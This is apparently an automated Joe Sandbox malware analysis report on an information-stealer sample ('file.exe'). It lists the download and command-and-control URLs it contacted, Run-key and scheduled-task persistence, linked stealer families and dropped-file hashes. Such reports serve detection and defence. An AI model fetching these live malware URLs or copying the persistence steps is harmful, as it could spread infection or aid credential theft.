https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	false		high
http://185.215.113.16/luma/random.exe%3s	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EHDAAECAEBKJKFHJKECFIJJDAE.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php;	2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_97.11.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpcl	file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exen	file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	false		high
http://31.41.244.11/files/6946140361/Ed7zZr4.exe	skotes.exe, 00000017.00000002.2514769004.000000000105B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.000000000103E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.2514769004.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/	bbbef9e2c3.exe, 0000001B.00000002.2511184346.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 00000021.00000002.2510631146.000000000145B000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 00000021.00000002.2510631146.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.	2a79a10743.exe, 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exel	skotes.exe, 00000017.00000002.2514769004.000000000105B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php003	file.exe, 00000000.00000002.1867314381.000000000101E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/6946140361/Ed7zZr4.exeXYZ0123456789	skotes.exe, 00000017.00000002.2514769004.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exec613	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/t	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php;w9	2a79a10743.exe, 0000001C.00000002.2480811953.00000000015C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exeHN	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/Q	file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/yY	bbbef9e2c3.exe, 0000001B.00000003.2427135432.0000000000F6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/al	2a79a10743.exe, 0000001C.00000002.2480811953.000000000157E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.1867314381.0000000001094000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpKwiEu	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll_	file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://apis.google.com	chromecache_97.11.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpdge	file.exe, 00000000.00000002.1865897595.0000000000174000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/H	file.exe, 00000000.00000002.1867314381.000000000107A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.1870161193.0000000005A94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884837952.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe0N	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php-d	file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpol	file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	false		high
http://185.215.113.206/z	2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpqBM	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/	skotes.exe, 00000017.00000002.2514769004.0000000001086000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	false		high
http://185.215.113.206/a	2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/_u	bbbef9e2c3.exe, 0000001B.00000003.2470380929.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/apiS	bbbef9e2c3.exe, 00000021.00000002.2510631146.000000000145B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206ata	file.exe, 00000000.00000002.1865897595.0000000000174000.00000040.00000001.01000000.00000003.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Ed7zZr4.exe, 0000001A.00000003.2261514283.0000022BCA72C000.00000004.00000020.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427851570.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, bbbef9e2c3.exe, 0000001B.00000003.2427716381.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, KKKKEHJK.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279204858.0000022BC7CDF000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/P	2a79a10743.exe, 0000001C.00000002.2480811953.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/wuvIa	bbbef9e2c3.exe, 0000001B.00000003.2470380929.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php?d	file.exe, 00000000.00000002.1873375123.000000000BAD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000002.1873375123.000000000BA61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1867314381.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279204858.0000022BC7CDF000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA6ED000.00000004.00000020.00020000.00000000.sdmp, Ed7zZr4.exe, 0000001A.00000003.2279000541.0000022BCA725000.00000004.00000020.00020000.00000000.sdmp, HCFBFBAEBKJKEBGCAEHC.0.dr	false		high
https://atten-supporse.biz:443/apicryptPrimitives.dll	bbbef9e2c3.exe, 00000021.00000002.2510631146.0000000001495000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://atten-supporse.biz/w	bbbef9e2c3.exe, 00000021.00000002.2510631146.00000000014A9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
5.252.155.28	unknown	Russian Federation	49981	WORLDSTREAMNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
104.21.16.9	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
142.250.201.14	plus.l.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570689
Start date and time:	2024-12-07 18:25:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@56/61@10/12
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 74.125.71.84, 142.250.181.142, 142.250.181.99, 199.232.210.172, 142.250.200.202, 216.58.198.74, 142.251.37.202, 216.58.211.202, 172.217.19.42, 172.217.18.234, 142.250.200.234, 142.250.203.234, 142.251.37.234, 142.250.201.42, 142.251.37.42, 142.251.37.170, 142.250.201.10
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, time.windows.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7308 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:26:08	API Interceptor	14632x Sleep call for process: file.exe modified
14:27:01	API Interceptor	447x Sleep call for process: skotes.exe modified
14:27:32	API Interceptor	3x Sleep call for process: bbbef9e2c3.exe modified
20:26:40	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
20:27:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bbbef9e2c3.exe C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe
20:27:42	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2a79a10743.exe C:\Users\user~1\AppData\Local\Temp\1012999001\2a79a10743.exe
20:27:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bbbef9e2c3.exe C:\Users\user~1\AppData\Local\Temp\1012998001\bbbef9e2c3.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
play.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=71STY9b6g0G2TUGL0emS8wWPU1E0zmFNnR9SsYf1SC9UREdRTE8xR1FQUFdYSk5WRlZXQ0ZJSlg4NS4u	Get hash	malicious	HTMLPhisher	Browse	172.217.19.206
	Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdf	Get hash	malicious	Unknown	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	https://inovamora.com/team/index.html	Get hash	malicious	HTMLPhisher	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.217.19.206
	https://docs.google.com/presentation/d/e/2PACX-1vQdSuwONgWFnuoaK9jWkn4a4T1fFD4ixA3V2X7f5aWnD4sHxk2b10z2j2TMxkq3G15FQX3bbwReJ2PF/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	172.217.19.206
	https://docs.google.com/presentation/d/e/2PACX-1vQdSuwONgWFnuoaK9jWkn4a4T1fFD4ixA3V2X7f5aWnD4sHxk2b10z2j2TMxkq3G15FQX3bbwReJ2PF/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	172.217.19.206
www3.l.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.142
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.142
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.142
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.181.142
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdf	Get hash	malicious	Unknown	Browse	142.250.181.142
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	https://inovamora.com/team/index.html	Get hash	malicious	HTMLPhisher	Browse	142.250.181.142

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WORLDSTREAMNL	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	5.252.155.28
	spc.elf	Get hash	malicious	Mirai	Browse	213.108.199.252
	https://kbprinters.com/serviciodecorreo/login	Get hash	malicious	Unknown	Browse	217.23.10.192
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	194.88.105.30
	1Zp7qa5zFD.exe	Get hash	malicious	AsyncRAT	Browse	89.39.106.35
	nabx86.elf	Get hash	malicious	Unknown	Browse	45.139.57.89
	SecuriteInfo.com.Trojan.DownLoader25.33926.32281.13140.exe	Get hash	malicious	Unknown	Browse	109.236.88.70
	SecuriteInfo.com.Trojan.DownLoader25.33926.32281.13140.exe	Get hash	malicious	Unknown	Browse	109.236.88.70
	sj9eYmr725.exe	Get hash	malicious	Quasar	Browse	185.177.125.198
	http://www.nsdta.ca/registered-labs/	Get hash	malicious	Unknown	Browse	190.2.139.23
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	Stealc	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	IMPORTANT DOCUMENT.html	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	https://curnowlaw.com/	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.149.20.212 13.107.246.63 2.16.229.162
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.149.20.212 13.107.246.63 2.16.229.162
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	73cceb_de0cf39691b24825b9733575e081f7fa.rtf	Get hash	malicious	Unknown	Browse	104.21.16.9
	upgrade.hta	Get hash	malicious	DarkVision Rat	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	malware.exe	Get hash	malicious	Targeted Ransomware, TrojanRansom	Browse	172.67.74.152
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.74.152
	Bank Swift and SOA PRN00720031415453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.74.152
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.74.152
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.74.152
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.74.152
	AdminAccounts.aspx.dll	Get hash	malicious	Matanbuchus	Browse	172.67.74.152
	AdminAccounts.aspx.dll	Get hash	malicious	Matanbuchus	Browse	172.67.74.152
	Doc_21-04-53.js	Get hash	malicious	Matanbuchus	Browse	172.67.74.152

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, XWorm	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGIJJKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
